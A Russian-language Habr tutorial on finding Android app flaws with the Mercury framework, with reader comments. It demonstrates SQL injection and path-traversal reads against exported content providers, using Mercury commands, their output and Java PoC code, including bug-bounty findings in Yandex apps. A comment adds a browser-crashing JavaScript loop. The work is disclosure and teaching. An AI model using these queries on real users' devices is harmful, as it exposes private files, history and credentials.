Mercury — вестник android-багов

    image

    Здравствуйте, дамы и господа. Сегодня мы рассмотрим, с помощью чего и как можно находить уязвимости в своих и чужих android-приложениях. Также увидим, что благодаря этим уязвимостям может сделать атакующий. Помимо этого, я приведу примеры уязвимостей, которые были найдены в рамках конкурса «Охота за ошибками» от компании Яндекс.

    Установка подопытных


    Как и для программирования под мобильные устройства, для исследования можно использовать «железо» и эмуляторы. Если под настоящие устройства особых проблем нет, то установить apk-приложение на эмулятор из google play вызывает трудности. А программы от Яндекса проще всего получить именно так.

    Разберем варианты получения apk-файла (некоторые были уже на страницах хабра, но повторюсь).

    1. Скачать приложение на реальное устройство и перенести на компьютер, используя adb.

      • Проверяем наличие устройства:

        adb devices
        

      • Все установленные приложения хранят свой «установщик» в папке /data/app:

        adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\
        

        ОС Android использует нумерацию каждой установленной программы, поэтому на конце может быть как «-1», так и «-2». Или можно скачать все установленные приложения из раздела /data/app для будущих анализов:

        adb pull /data/app path_to_comp
        

        Копируем все программы с LG телефона

    2. Воспользоваться скриптами c неофициальным API.

      Я использую вариант, который написанный на python. Он выложен на github, есть аналог на java. Для его работы понадобится AndroidID реального устройства, которое прикреплено к вашему или какому-то другому google-аккаунту, а так же логин и пароль или AuthToken.

      AndroidID можно узнать, набрав USSD-команду:

      *#*#8255#*#*
      

      Здесь параметр aid и будет Вашим AndroidID. Все это вводим в файле config.py. Далее, например, можно найти все яндекс программы на маркете командой:

      search.py yandex
      

      Результат выполнения

    3. Установить шаманским образом Google play на эмулятор.

    4. Скачать с сайтов, например:
      4PDA — есть все популярные программы, в том числе «крякнутые», которые конечно только для ознакомления.
      xda-developers — в основном apk «бесплатных» или open-source программ.
      В этом случае приложение можно установить напрямую в устройстве через браузер.


    Установить приложения в эмулятор можно двумя способами:
    • Через DDMS в Eclipse кнопкой install application.
    • Через adb командой:

      adb install app.apk
      

    Инструментарий для анализа приложений на уязвимости


    Помимо «ручного» анализа, вставляем «кавычки» куда только можно, для поиска уязвимостей в android-приложениях существует не так много программ. Самые популярные из них это:
    • ScanDroid
    • Mercury

    ScanDroid – скрипт на ruby, который декомпилирует dex-класс из приложения в java-код и ищет по определенным правилам, который указал пользователь, потенциально опасные места. Более подробно можно ознакомиться из документа от создателей программы или переводе. Там же представлен исходник программы.

    Mercury – фреймворк с открытым исходным кодом и написанным на python. Представляет собой комплекс интерактивных инструментов, с помощью которых он может взаимодействовать со всеми установленными и запущенными приложениями на android-устройстве. Вот с ним мы и продолжим знакомство.

    Работа с Mercury


    В данный момент доступна 2.2.0 версия, она полностью переработана по сравнению с версиями 1+. Но для загрузки доступна и та и та, и в случаи первых версии установка проще и не требует дополнительных зависимостей.

    Скачать нужную версию можно с главного сайта или github-репозитария. Сама программа состоит из двух частей:
    • Клиент – python-программа, которую запускаем на компьютере (успешно работает как в *nix, так и в windows).
    • Агент (в 1+ версиях эта часть называлась сервером) – apk-приложение, которое можно установить любым из способов, описанным выше.

    Установка клиентской-части

    Linux (Debian-подобные)

    Установка зависимостей:

        $ apt-get install build-essential python-dev python-setuptools
        $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1
        $ easy_install twisted==10.2.0
    

    Установка Mercury:

        $ easy_install ./mercury-2.2.0-py2.7.egg
    

    Windows

    Установка зависимостей:

    1. Для начала скачиваем следующие программы:

    2. Далее запускаем их со следующими параметрами:

          C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1
          C:\Python27\Scripts\easy_install.exe pyopenssl
          C:\Python27\Scripts\easy_install.exe pyreadline
          C:\Python27\Scripts\easy_install.exe twisted==10.2.0
      

    3. Запустить windows-инсталлятор.

    Mac OS X

    Официального руководства нет, но так как Xcode можно установить с command-line tools в котором доступен easy_install, то при попытке установить через команду

        $ easy_install ./mercury-2.2.0-py2.7.egg
    

    Все закончилось успешной установкой.

    Пример установки

    Установка сервера

    Устанавливается любым из описанных выше методов:
    • adb install.apk
    • Через DDMS.
    • Скачать и установить напрямую с сайта.

    Настройка

    Для соединения клиента и сервера нам понадобится IP-адрес устройства, в случае, если это эмулятор, надо сделать переброс портов командой:

    adb forward tcp:31415 tcp:31415
    

    Соответственно IP-адрес для сканера будет 127.0.0.1.

    На реальном устройстве достаточно в списке WiFi-сетей просто кликнуть по нужной и появится всплывающее окно с подробной информацией о качестве, типе безопасности и нужным нам IP-адресе.

    Перед тем как запустить с компьютера, приложение нужно запустить на устройстве. Кликнуть по Embeded server и перевести переключатель в положение «Enabled». Начиная с 2ой версии, позволено шифровать трафик через ssl и ставить пароль.

    Пример запуска агента в эмуляторе

    Ищем уязвимости

    Присоединяемся к устройству.
    Windows:

    C:\Python27\Scripts\>python mercury console connect IP
    

    Запуск mercury-консоли

    Unix:

     mercury console connect IP
    

    Список всех установленных модулей вызывается следующей командой:

    list
    

    Вывод команды list

    В статье мы рассмотрим не все, а только те, которые позволяют найти уязвимости с реальными примерами.

    Первой подопытной программой будет Sieve, предлагаемая разработчиками.
    Для начала нам нужно узнать имя программы (package). Есть несколько вариантов как это сделать:
    • Выполнить команду:

      mercury> run app.package.list
      

      И найти свою в списке. Или можно добавить фильтр, например, в нашем случае:

      mercury> run app.package.list –f sieve
      

    • Посмотреть самому папку /data/data через любой файловый менеджер.
    • и другие… .

    В результате получаем имя — com.mwr.example.sieve

    В сегодняшней статье мы рассмотрим уязвимости, одну из которых многие не ожидали увидеть в ОС android, все таки она больше ассоциируется с Web:
    • Sql-инъекции.
    • Чтение произвольных файлов (LFI).

    Ну что же, продолжим. Получим информацию о приложении:

    mercury> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable
    

    Activity (Деятельность) — представляет собой схему представления Android-приложений. Например, главный экран, который видит пользователь при открытии программы. Или форма отправки баг-репорта разработчику.
    Services (Службы) — выполняет фоновые задачи без предоставления пользовательского интерфейса.
    Content Providers (Контент-провайдеры) — предоставляет данные приложениям, чаще всего к sqlite БД приложения. Можно вызывать из других приложений.
    Broadcast Receiver (Широковещательный приемник) — принимает системные сообщения и неявные интенты, может использоваться для реагирования на изменение состояния системы.

    Более подробно про структуру android-приложений можно прочитать на страницах хабра, в частности Android Development Tutorial. Ну а пока разберемся с контент-провайдерами. Смотрим список доступных:

    mercury> run app.provider.finduri com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    content://com.mwr.example.sieve.DBContentProvider/
    content://com.mwr.example.sieve.FileBackupProvider/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Keys
    content://com.mwr.example.sieve.FileBackupProvider
    

    Mercury распаковывает apk файл и далее сканирует его, используя регулярные выражения, на наличие строк содержащих “content://” и блока Providers в файле AndroidManifest.xml. В своей практике я сталкивался, когда разработчики, чтобы защититься от такого, шифровали строки различными методами, поэтому приходилось реверсить приложение в ручную.

    Так как контент-провайдер чаще всего предоставляет доступ к sqlite базе данных приложения, то и разбирать будем обычные sql-запросы. Мы остановимся только на select, так как думаю с insert,update и delete-запросами проблемы не возникнут.

    Я думаю, не одного меня первым манят слова Passwords, поэтому начнем с этого провайдера:

    mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
    | _id | service | username | password                                      | email          |
    | 1   | habr    | root     | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr |
    

    И получаем всю информацию из запроса, теперь попробуем старую добрую sql-инъекцию. Еще раз напомню, что в android-приложении используется sqlite, сделаем запрос к sqlite_master (структура всей БД):

    mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--"
    | type  | name                   | tbl_name         | rootpage | sql  |
    | table | android_metadata       | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)  |
    | table | Passwords              | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) |
    | table | Key                    | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )  |
    | index | sqlite_autoindex_Key_1 | Key              | 6        | null  |
    

    Как видим, наша sql-инъекция прошла успешно, и мы получили всю структуру БД: таблицы и поля в них. Кстати, здесь же работают и другие sqlite-функции, например можно узнать номер версии БД:

    mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--"
    | sqlite_version() |
    | 3.7.4            |
    

    Остальные уязвимости в этом приложении останутся для задания на дом, а сейчас вернемся к началу статьи, где я обещал рассказать про находки в приложениях от Яндекса. Благодаря mercury упростилась демонстрация эксплуатации, так как поначалу приходилось писать свои приложения (PoC).

    Основные части исходного кода PoC
    // Наша программа проводит 2 вида запросов к заведомо уязвимым контент-провайдерам: пытается просто получить всю информацию из таблицы и sql-инъекцию с параметром “* FROM sqlite_master--“
    //функция получения имен колонок таблицы
    // uri – content provider
    // projectionArray – дополнение к запросу, например: “* FROM sqlite_master—“
    public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray)
    	{
    		ArrayList<String> columns = new ArrayList<String>();	
    		try
    		{				
    	        Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null);
    	        if (c != null)
    	        {
    	        	String [] colNames = c.getColumnNames();
    	        	c.close();
    	        	for (int k = 0; k < colNames.length; k++)
    	        		columns.add(colNames[k]);
    	        }
    		}
    		catch (Throwable t) {}
    		return columns;
    	}
    // «Боевая функция», которая обращается к выбранному контент-провайдеру и делает запрос
    // target – content-provider
    // projection – дополнительный запрос
    	public String make_shoot(String target, String projection) {
    		ContentResolver r = getContentResolver();
    		String[] projectionArray = null;
    		if (projection.length() > 0) {
    			projectionArray = new String[1];
    			int i = 0;
    			projectionArray[i] = projection;
    		}
    		String data = "";
    		Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null);
    		if (c != null) {
    			ArrayList<String> cols = getColumns(r,
    					target,
    					projectionArray);
    			Iterator<String> it = cols.iterator();
    			String columns = "";
    			while (it.hasNext())
    				columns += it.next() + " | ";
    			data += columns.substring(0, columns.length() - 3);
    			data += "\n\n";
    			for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext())	{
    				int numOfColumns = c.getColumnCount();
    				for (int l = 0; l < numOfColumns; l++) {
    					try	{
    						data += c.getString(l);
    					}
    					catch (Exception e)	{
    						data += "(blob) "
    								+ Base64.encodeToString(c.getBlob(l),
    										Base64.DEFAULT);
    					}
    					if (l != (numOfColumns - 1))
    						data += " | ";
    				}
    			}
    		}
    		return data;
    	}
    


    Ниже я продемонстрирую только несколько найденных уязвимостей из-за ограничения в 90 дней после отправки информации об ошибке.

    На примере первого приложения заодно рассмотрим другой тип уязвимостей. Помимо sql-инъекций через контент-провайдеры можно провести атаку «раскрытия путей» для многих системных файлов и любого файла к которому есть доступ у уязвимого приложения. Уязвимость такого рода была найдена в приложении Яндекс.диск. Доступным для любого пользователя оказался провайдер content://ru.yandex.disk.cache. Первым делом проверим доступ к системному файлу:

    mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts
    127.0.0.1 localhost 
    

    Теперь попробуем получить доступ к чему-нибудь более интересному. Например, к БД приложения. Напомню, что наши приложения используют sqlite и базу хранят в отдельном файле в своей папке, к которой доступ есть только у root и этого же приложения:

    mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk
    

    Из-за системных символов вывод команды под катом

    Как видите, мы получаем список всех файлов сохраненных в Яндекс.диске. Помимо этого приложение использует кэш, следовательно можно обратиться к любому файлу, который пользователь открыл с помощью мобильного приложения и не очистил после этого папку со временными файлами. Например, пользователь открывал документ по работе с яндекс.диском:

    mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf
    

    Для атаки нам нужно знать директорию кэша, но она стандартная, а имена файлов можно получить из БД приложения предыдущим запросом.

    В своем PoC такое обращение к провайдеру можно реализовать через функцию:

    resolver.openInputStream(uri)
    

    Другая уязвимость была найдена в контент-провайдере, ответственном за закладки пользователя, и позволяла любому приложению менять их:

    mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels
    geocode | label_name_tolower | lon | date | label_name | _id | lat
     Москва, Россия, Лужнецкая набережная, 2/4с17 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137
     Москва, Россия, Лужнецкая набережная, 2/4с17 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137
    Изменяем:
    update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2
    query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels
    geocode | label_name_tolower | lon | date | label_name | _id | lat
     Москва, Россия, Лужнецкая набережная, 2/4с17 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137
     Москва, Россия, Лужнецкая набережная, 2/4с17 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137
    

    Так работа стала домом. Или можно изменить координаты места и тогда пользователь приедет не по тому адресу…

    Следующая уязвимая программа — Яндекс.Электрички. Здесь тоже обнаружена уязвимость типа sql-инъекция в БД с возможностью манипуляции данных.

    mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--"
    type | name | tbl_name | rootpage | sql
    .....
    table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)
    table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name))
    index | sqlite_autoindex_files_1 | files | 5 | null
    table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq)
    table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region))
    index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null
    table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier))
    index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null
    

    Для примера изменения данных поменяем путь к кэшу файлов:

    mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txt” --where _id=2
    _id | etag | last_modified | name | region | last_updated
    .....
    2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854
    1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache |  | 1352462705064
    

    Благодаря этой уязвимости злоумышленник мог бы читать и изменять списки любимых и недавних станций. Так же изменение пути до кэша могло «уронить» приложение или поменять расписание, если у пользователя отсутствовал в этот момент интернет.

    Последняя, на сегодня, уязвимая программа — Яндекс.Такси. В этот раз приведу только список и что с ними можно было сделать. Уязвимыми оказались несколько контент-провайдеров:
    Первый: content://ru.yandex.taxi/taxi
    Позволял получать и изменять список доступных такси пользователю. Правда не знаю, удалось бы «подкинуть» пользователю свою машину, так как вызов идет через живого оператора, но номера и другую информацию ближайших такси к пользователю можно было получить. Остальные не так интересны:
    • content://ru.yandex.taxi/history — как видно из названия, позволял получить доступ к истории, как поиска, так и вызовов.
    • content://ru.yandex.taxi/delay_order — доступ к истории заказов.

    Информация такого рода понадобится не каждому злоумышленнику, но каким-либо «ревнивцам» или «частным» детективам была бы интересна.

    Но главное отличие таких уязвимостей, что вредоносному приложению, которое сделает все описанное выше, не надо никаких дополнительных прав. Злоумышленник может предложить пользователю поставить новые обои, а так как большинство людей научилось, что если приложение требует для установки странные права, например, приложению для просмотра видео требуется права на отправку смс и монтирование sd-карты, он первым делом посмотрит на это. Но не увидит ничего странного и подумает, что от установки никаких проблем не будет. Или встроить такой функционал в другое приложение, например, в наши любые angry birds…

    Другие возможности Mercury


    Так же в комплект входят сканеры, которые пройдутся по всем установленным программам на устройстве и попытаются автоматически проэксплуатировать тот тип уязвимостей, который выберете. Сканеры для предыдущих типов уязвимостей:
    • scanner.provider.injection – тестирует на возможность проведение sql-инъекции
    • scanner.provider.traversal – тестирует на возможность прочитать любой доступный файл

    Пример работы сканера уязвимостей типа раскрытия путей

    Вначале выводится список контент-провайдеров, которые будем тестировать, а в конце результаты, которые проверяются или командами выше и/или реверсингом.

    Для некоторых сканеров понадобится установить на устройство программу busybox:

    mercury> run scanner.misc.readablefiles
    This command requires BusyBox to complete. Run tools.setup.busybox and then retry.
    mercury> run tools.setup.busybox
    BusyBox installed.
    mercury>
    

    Заключение


    В этой статье мы познакомились с универсальным инструментом для поиска уязвимостей в Android-приложениях — mercury. Подробно рассмотрели, как работать с одной из частей Android-приложения — контент-провайдерами. Неосвещенными остались Activity (Деятельность), Services (Службы) и Broadcast Receiver (Широковещательный приемник). В будущем планируется найти и показать на примере найденных уязвимостей, как можно использовать mercury для такого типа уязвимостей. Также планируется более близко познакомиться с другими программами для анализа.

    Благодарим специалистов из отдела безопасности Яндекса за оперативную реакцию! А разработчиков приложений — за медленное, но верное ;) исправление найденных узявимостей.
    Цифровое оружие и защита 30,10
    Компания
    Поделиться публикацией
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 11
    • 0
      Не думал даже что от sql-инъекций может быть какой то толк в Android.
      Но посмотрев несколько БД был очень удивлен почему мало кто обращает на это внимание.
      • +4
        Немного не по теме, но вот наглядный пример халатности:
        Evernote хранит ваши заметки в открытом виде на карте памяти в папочку sdcard/Evernote.
        Был неприятно удивлен подобному функционалу.
        • +3
          Я, и наверное не только я, писал им об этом в саппорт, просил прикрутить какие-нибудь шифрование. Только воз и ныне там, писал я уже больше года назад.

          Выручает шифрование карты памяти и внутреннестей телефона в таких случаях.
          • 0
            Можно даже создать отдельную шифрованную ОС Android на устройстве. Со своими контактами, смс и т.д.
            • 0
              Я так и сделал на своем S3. Система на внешней sd карте живущая — польностью шифруется (через dm-crypt / cryptsetup ). Т.е. есть два независимых окружения — живущее на внутренней sd, и живущее на внешней sd, никак меж собой не связанные. Сделано через самоделки всякие (github.com/quarck/csetup), выбор что грузить — при старте устройства. Удобно еще и тем, что можно поменять sd карту, и получить совершенно другой environment, например для тестирования чего-либо.
        • 0
          Походу, ты заработал от Тохи бутылку виски :)
          • 0
            Обещали вручить…
            • 0
              Мужик :)
              А я все никак не наработаю на нее :)
          • 0
            Не знаю как на остальных Android'ах, но на моём 2.3.3 стандартный браузер падает от простого переполнения переменной.
            Что-то вроде этого:

            var a=''; //String
            for(var i=1;i<=500000;i++){var a='A'+a+a+a};
            


            И все. Я даже gdb на Android поставил, пока узнавал, почему же падает :)
            • +1
              Ну так а вектор атаки-то какой? Предложить пользователю сделать SQL-инъекцию на своём собственном устройстве? (Что-то навроде классического способа размножения вирусов под Linux — «Ух ты, вирус? Дай посмотреть» :-) )
              • 0
                Пример «атакующего» кода, который будет проводить sql-запросы к БД, я указал в статье. А уж как его встроить и реализовать запуск: по кнопке, по времени или команде из сети, — решать Вам.

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

              Самое читаемое